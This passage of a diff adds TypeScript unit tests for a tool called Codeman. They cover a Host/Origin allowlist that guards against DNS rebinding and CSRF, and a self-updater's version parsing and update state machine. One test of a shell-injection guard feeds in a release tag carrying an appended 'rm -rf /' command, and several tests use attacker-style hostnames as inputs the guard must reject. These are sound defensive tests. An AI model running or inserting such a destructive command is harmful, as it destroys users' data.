expect(isAllowedRequestHost('192.168.1.50:3000', loopback)).toBe(true);
expect(isAllowedRequestHost('203.0.113.7', loopback)).toBe(true);
});
it('REJECTS a rebound custom domain (the core attack)', () => {
expect(isAllowedRequestHost('attacker.evil.com', loopback)).toBe(false);
expect(isAllowedRequestHost('attacker.evil.com:3000', loopback)).toBe(false);
});
it('rejects a missing/empty Host header', () => {
expect(isAllowedRequestHost(undefined, loopback)).toBe(false);
expect(isAllowedRequestHost('', loopback)).toBe(false);
});
it('accepts trusted tunnel suffixes (tailscale, cloudflare)', () => {
expect(isAllowedRequestHost('tnode.tailf80371.ts.net', loopback)).toBe(true);
expect(isAllowedRequestHost('foo.trycloudflare.com', loopback)).toBe(true);
expect(isAllowedRequestHost('abc.cfargotunnel.com', loopback)).toBe(true);
// a lookalike that merely contains the suffix mid-string is rejected
expect(isAllowedRequestHost('ts.net.evil.com', loopback)).toBe(false);
expect(isAllowedRequestHost('eviltrycloudflare.com', loopback)).toBe(false);
});
it('accepts the configured bind host when it is a hostname', () => {
const policy: HostPolicy = { bindHost: 'mybox.local', allowedHosts: [], tunnelHost: null };
expect(isAllowedRequestHost('mybox.local:3000', policy)).toBe(true);
expect(isAllowedRequestHost('other.local', policy)).toBe(false);
});
it('accepts the active managed tunnel host', () => {
const policy = buildHostPolicy('127.0.0.1', 'https://cool-name.trycloudflare.com');
expect(isAllowedRequestHost('cool-name.trycloudflare.com', policy)).toBe(true);
});
it('honors CODEMAN_ALLOWED_HOSTS exact and .suffix entries', () => {
const policy: HostPolicy = {
bindHost: '127.0.0.1',
allowedHosts: ['codeman.example.com', '.corp.internal'],
tunnelHost: null,
};
expect(isAllowedRequestHost('codeman.example.com', policy)).toBe(true);
expect(isAllowedRequestHost('host1.corp.internal', policy)).toBe(true);
expect(isAllowedRequestHost('corp.internal', policy)).toBe(true);
expect(isAllowedRequestHost('codeman.example.com.evil.com', policy)).toBe(false);
});
});
describe('isAllowedRequestOrigin — cross-site (CSRF) guard', () => {
it('allows a MISSING origin (non-browser clients: curl, hooks)', () => {
expect(isAllowedRequestOrigin(undefined, loopback)).toBe(true);
expect(isAllowedRequestOrigin('', loopback)).toBe(true);
});
it('rejects a cross-site origin', () => {
expect(isAllowedRequestOrigin('https://evil.com', loopback)).toBe(false);
expect(isAllowedRequestOrigin('http://evil.com:8080', loopback)).toBe(false);
});
it('rejects the opaque "null" origin', () => {
expect(isAllowedRequestOrigin('null', loopback)).toBe(false);
});
it('allows same-site origins (localhost / IP / trusted suffix)', () => {
expect(isAllowedRequestOrigin('http://localhost:3000', loopback)).toBe(true);
expect(isAllowedRequestOrigin('http://127.0.0.1:3000', loopback)).toBe(true);
expect(isAllowedRequestOrigin('https://tnode.tailf80371.ts.net', loopback)).toBe(true);
});
it('rejects a malformed origin', () => {
expect(isAllowedRequestOrigin('not a url', loopback)).toBe(false);
});
});
describe('buildHostPolicy', () => {
it('parses CODEMAN_ALLOWED_HOSTS from env', () => {
const prev = process.env.CODEMAN_ALLOWED_HOSTS;
process.env.CODEMAN_ALLOWED_HOSTS = ' Foo.Example , .bar.internal ,';
try {
const p = buildHostPolicy('127.0.0.1', null);
expect(p.allowedHosts).toEqual(['foo.example', '.bar.internal']);
} finally {
if (prev === undefined) delete process.env.CODEMAN_ALLOWED_HOSTS;
else process.env.CODEMAN_ALLOWED_HOSTS = prev;
}
});
it('extracts the tunnel hostname from a URL', () => {
expect(buildHostPolicy('127.0.0.1', 'https://abc.trycloudflare.com/x').tunnelHost).toBe('abc.trycloudflare.com');
expect(buildHostPolicy('127.0.0.1', null).tunnelHost).toBeNull();
expect(buildHostPolicy('127.0.0.1', 'garbage').tunnelHost).toBeNull();
});
});
+1 -1
View File
@@ -84,7 +84,7 @@ describe('ws-routes', () => {
await app.register(fastifyWebsocket);
ctx = createMockRouteContext({ sessionId: 'ws-test-session' });
registerWsRoutes(app, ctx as never);
registerWsRoutes(app, ctx as never, () => ({ bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null }));
await app.listen({ port: PORT, host: '127.0.0.1' });
});
+156
View File
@@ -0,0 +1,156 @@
/**
* @fileoverview Unit tests for the self-updater's pure logic: release-tag/semver
* parsing, "update available" computation, and the boot-time reconcile state
* machine. No IO, no tmux, no port — safe to run individually.
*
* npm test -- test/self-update.test.ts
*/
import { describe, it, expect } from 'vitest';
import {
parseVersionFromTag,
compareVersions,
isNewerStableVersion,
pickLatestStableTag,
isValidReleaseTag,
parseGitHubRepo,
reconcileStatusDecision,
} from '../src/web/self-update.js';
import type { UpdateStatus } from '../src/types/update.js';
describe('parseVersionFromTag', () => {
it('parses the codeman@ / aicodeman@ / v / bare forms', () => {
expect(parseVersionFromTag('codeman@0.9.3')).toMatchObject({ major: 0, minor: 9, patch: 3, prerelease: '' });
expect(parseVersionFromTag('aicodeman@1.2.3')).toMatchObject({ major: 1, minor: 2, patch: 3 });
expect(parseVersionFromTag('v0.10.0')).toMatchObject({ major: 0, minor: 10, patch: 0 });
expect(parseVersionFromTag('0.9.3')).toMatchObject({ major: 0, minor: 9, patch: 3 });
});
it('captures a prerelease suffix', () => {
expect(parseVersionFromTag('codeman@0.9.3-rc1')).toMatchObject({ patch: 3, prerelease: 'rc1' });
});
it('returns null when there is no X.Y.Z', () => {
expect(parseVersionFromTag('codeman@latest')).toBeNull();
expect(parseVersionFromTag('garbage')).toBeNull();
});
});
describe('compareVersions', () => {
const v = (s: string) => parseVersionFromTag(s)!;
it('orders by major/minor/patch', () => {
expect(compareVersions(v('0.10.0'), v('0.9.3'))).toBeGreaterThan(0);
expect(compareVersions(v('0.9.3'), v('0.10.0'))).toBeLessThan(0);
expect(compareVersions(v('1.0.0'), v('0.99.99'))).toBeGreaterThan(0);
expect(compareVersions(v('0.9.3'), v('0.9.3'))).toBe(0);
});
it('ranks a release above a prerelease of the same core', () => {
expect(compareVersions(v('0.9.3'), v('0.9.3-rc1'))).toBeGreaterThan(0);
expect(compareVersions(v('0.9.3-rc1'), v('0.9.3'))).toBeLessThan(0);
});
});
describe('isNewerStableVersion', () => {
it('true only for a strictly newer stable release', () => {
expect(isNewerStableVersion('0.9.3', '0.9.4')).toBe(true);
expect(isNewerStableVersion('0.9.3', '0.10.0')).toBe(true);
});
it('false for same/older', () => {
expect(isNewerStableVersion('0.9.3', '0.9.3')).toBe(false);
expect(isNewerStableVersion('0.9.4', '0.9.3')).toBe(false);
});
it('never offers a prerelease as an update', () => {
expect(isNewerStableVersion('0.9.3', '0.9.4-rc1')).toBe(false);
});
it('false on unparseable input', () => {
expect(isNewerStableVersion('0.9.3', 'nope')).toBe(false);
});
});
describe('pickLatestStableTag', () => {
it('picks the highest stable tag from ls-remote-style refs', () => {
const refs = [
'deadbeef\trefs/tags/codeman@0.8.2',
'cafef00d\trefs/tags/codeman@0.9.3',
'abc123\trefs/tags/codeman@0.10.0',
'abc123\trefs/tags/codeman@0.10.0^{}', // dereferenced dup
];
expect(pickLatestStableTag(refs)).toEqual({ tag: 'codeman@0.10.0', version: '0.10.0' });
});
it('skips prereleases and unrecognized tags', () => {
const refs = ['x\trefs/tags/codeman@0.9.3', 'y\trefs/tags/codeman@0.9.4-rc1', 'z\trefs/tags/some-random-tag'];
expect(pickLatestStableTag(refs)).toEqual({ tag: 'codeman@0.9.3', version: '0.9.3' });
});
it('returns null when nothing matches', () => {
expect(pickLatestStableTag([])).toBeNull();
expect(pickLatestStableTag(['refs/tags/nightly', 'refs/heads/master'])).toBeNull();
});
});
describe('isValidReleaseTag', () => {
it('accepts only codeman@/aicodeman@ X.Y.Z (shell-injection guard)', () => {
expect(isValidReleaseTag('codeman@0.9.4')).toBe(true);
expect(isValidReleaseTag('aicodeman@1.0.0')).toBe(true);
expect(isValidReleaseTag('v0.9.4')).toBe(false);
expect(isValidReleaseTag('codeman@0.9.4; rm -rf /')).toBe(false);
expect(isValidReleaseTag('codeman@latest')).toBe(false);
});
});
describe('parseGitHubRepo', () => {
it('handles SSH and HTTPS remotes', () => {
expect(parseGitHubRepo('git@github.com:Ark0N/Codeman.git')).toEqual({ owner: 'Ark0N', repo: 'Codeman' });
expect(parseGitHubRepo('https://github.com/Ark0N/Codeman.git')).toEqual({ owner: 'Ark0N', repo: 'Codeman' });
expect(parseGitHubRepo('https://github.com/Ark0N/Codeman')).toEqual({ owner: 'Ark0N', repo: 'Codeman' });
});
it('returns null for non-GitHub remotes', () => {
expect(parseGitHubRepo('https://gitlab.com/x/y.git')).toBeNull();
});
});
describe('reconcileStatusDecision (boot handoff state machine)', () => {
const NOW = 1_000_000_000_000;
const base = (over: Partial<UpdateStatus>): UpdateStatus => ({
updateId: 'u1',
phase: 'restarting',
message: '',
fromVersion: '0.9.3',
toVersion: '0.9.4',
startedAt: NOW - 5_000,
updatedAt: NOW - 5_000,
...over,
});
it('no status / terminal status → untouched', () => {
expect(reconcileStatusDecision(null, '0.9.4', NOW)).toBeNull();
expect(reconcileStatusDecision(base({ phase: 'completed' }), '0.9.4', NOW)).toBeNull();
expect(reconcileStatusDecision(base({ phase: 'failed' }), '0.9.4', NOW)).toBeNull();
});
it('restarting + running version matches target → completed', () => {
const out = reconcileStatusDecision(base({ phase: 'restarting' }), '0.9.4', NOW);
expect(out?.phase).toBe('completed');
expect(out?.updatedAt).toBe(NOW);
});
it('restarting + version unchanged → failed', () => {
const out = reconcileStatusDecision(base({ phase: 'restarting' }), '0.9.3', NOW);
expect(out?.phase).toBe('failed');
expect(out?.error).toContain('0.9.4');
});
it('a fresh non-restart in-flight phase is left for the live updater', () => {
expect(reconcileStatusDecision(base({ phase: 'building' }), '0.9.3', NOW)).toBeNull();
expect(reconcileStatusDecision(base({ phase: 'installing' }), '0.9.3', NOW)).toBeNull();
});
it('a stale (abandoned) in-flight phase is failed by the backstop', () => {
const stale = base({ phase: 'building', startedAt: NOW - 20 * 60 * 1000 });
const out = reconcileStatusDecision(stale, '0.9.3', NOW);
expect(out?.phase).toBe('failed');
expect(out?.error).toContain('building');
});
});